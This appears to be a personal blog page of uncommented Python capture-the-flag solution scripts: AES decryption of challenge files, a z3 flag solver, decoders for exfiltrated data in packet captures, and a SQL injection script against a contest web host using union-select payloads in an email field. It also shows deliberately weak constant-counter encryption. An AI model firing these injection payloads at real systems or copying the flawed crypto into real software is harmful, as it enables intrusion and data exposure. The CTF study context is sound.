st98 の日記帳

import os, sys
from Crypto.Cipher import AES

fn = sys.argv[1]
data = open(fn,'rb').read()

# Secure CTR mode encryption using random key and random IV, taken from
# http://stackoverflow.com/questions/3154998/pycrypto-problem-using-aesctr
secret = os.urandom(16)
crypto = AES.new(os.urandom(32), AES.MODE_CTR, counter=lambda: secret) 

encrypted = crypto.encrypt(data)
open(fn+'.enc','wb').write(encrypted)

import base64
import glob
import random
import string
import os.path
from Crypto.Cipher import AES

def get_iv(t):
  iv = ''
  random.seed(t)
  for i in range(0, 16):
    iv += random.choice(string.letters + string.digits)
  return iv

def decrypt(m, p, i):
  aes = AES.new(p, AES.MODE_CFB, i)
  return aes.decrypt(base64.b64decode(m))

for im in glob.glob('Pictures/*.png'):
  for x in range(5):
    with open(im, 'rb') as f:
      s = f.read()
    s = s[s.rindex('\n') + 1:]
    t = decrypt(s, 'Hb8jnSKzaNQr5f7p', get_iv(1497975278 + x))
    with open(os.path.join('%d' % (1497975278 + x), os.path.basename(im)), 'wb') as f:
      f.write(t)

import base64
import sys
obj = AES.new('n0t_just_t00ling', AES.MODE_CBC, '7215f7c61c2edd24')
ciphertext = sys.argv[1]
message = obj.decrypt(base64.b64decode(ciphertext))

from z3 import *

with open('dump.txt', 'r') as f:
  s = f.read()

solver = Solver()
flag = [BitVec('flag_%d' % x, 8) for x in range(38)]

for c in flag[5:-1]:
  solver.add(Or(And(ord('0') <= c, c <= ord('9')), And(ord('a') <= c, c <= ord('f'))))

stack = []

for c in flag:
  stack.append(c)

for line in s.splitlines():
  if line == 'OP_PICK':
    stack.append(stack[-(stack.pop()+1)])
  elif line == 'OP_ADD':
    stack.append(stack.pop() + stack.pop())
  elif line == 'OP_EQUAL':
    a, b = stack.pop(), stack.pop()
    solver.add(a == b)
    stack.append(1)
  elif line.isdigit():
    stack.append(int(line))
  elif 'OP_NIP':
    pass
  else:
    print line

r = solver.check()
print r
if r == sat:
  m = solver.model()
  res = ''
  for c in flag:
    res += chr(m[c].as_long())
  print res

import base64
import sys
import time

from Crypto import Random
from Crypto.Cipher import AES
from scapy.all import *

BS = 16
pad = lambda s: s + (BS - len(s) % BS) * chr(BS - len(s) % BS)
unpad = lambda s : s[0:-ord(s[-1])]
magic = "SHA2017"


class AESCipher:

  def __init__( self, key ):
    self.key = key

  def encrypt( self, raw ):
    raw = pad(raw)
    iv = Random.new().read( AES.block_size )
    cipher = AES.new( self.key, AES.MODE_CBC, iv )
    return base64.b64encode( iv + cipher.encrypt( raw ) )

  def decrypt( self, enc ):
    enc = base64.b64decode(enc)
    iv = enc[:16]
    cipher = AES.new(self.key, AES.MODE_CBC, iv )
    return unpad(cipher.decrypt( enc[16:] ))

def chunks(L, n):
  for i in xrange(0, len(L), n):
    yield L[i:i+n]

if __name__ == '__main__':
  import sys
  if len(sys.argv) < 3:
    sys.exit(1)
  pkts = rdpcap(sys.argv[1])
  cipher = AESCipher(sys.argv[2])
  for packet in pkts:
    if str(packet.getlayer(ICMP).type) == "8":
      inp = packet[IP].load
      if inp[0:len(magic)] == magic:
        inp = inp.split(":")
        data = cipher.decrypt(inp[1]).split(":")
        print data

import base64
import re

def decode(i, o):
  with open(i, 'r') as f:
    s = f.read()
  res = []
  m = re.compile(r"\['getfile', '(\d+)', '([0-9A-Za-z_=-]+)'\]")
  for line in s.splitlines()[1:]:
    a, b = m.findall(line)[0]
    res.append((int(a), b))
  res.sort(key=lambda x: x[0])
  with open(o, 'wb') as f:
    f.write(base64.urlsafe_b64decode(''.join(x[1] for x in res)))

decode('a.txt', 'intranet.pcap')
decode('b.txt', 'usb.pcap')

import re
import requests

url = 'http://ethicalhacker.stillhackinganyway.nl/'
cookies = {
  'PHPSESSID': 'ql4ss5be59uu46tg7iu48e2ue1'
}

lines = requests.post(url, data={
  'mail': '''"'union/**/select/**/group_concat(line)from/**/image--"@a.a''',
  'pw': 'a',
  'security': raw_input('> ')
  
}, cookies=cookies).content

with open('captcha.jpg', 'wb') as f:
  im = re.findall(r'base64,([0-9A-Za-z/+=]+)', lines)[0]
  f.write(im.decode('base64'))

i = lines.index('"') + 1
lines = [int(x) for x in lines[i:lines.index('"', i)].split(',')]

images = requests.post(url, data={
  'mail': '''"'union/**/select/**/group_concat(base64)from/**/image--"@a.a''',
  'pw': 'a',
  'security': raw_input('> ')
  
}, cookies=cookies).content

i = images.index('"') + 1
images = images[i:images.index('"', i)].split(',')

images = sorted(zip(lines, images), key=lambda x: x[0])
res = ''
for x in images:
  res += x[1]

with open('result.jpg', 'wb') as f:
  f.write(res.decode('base64'))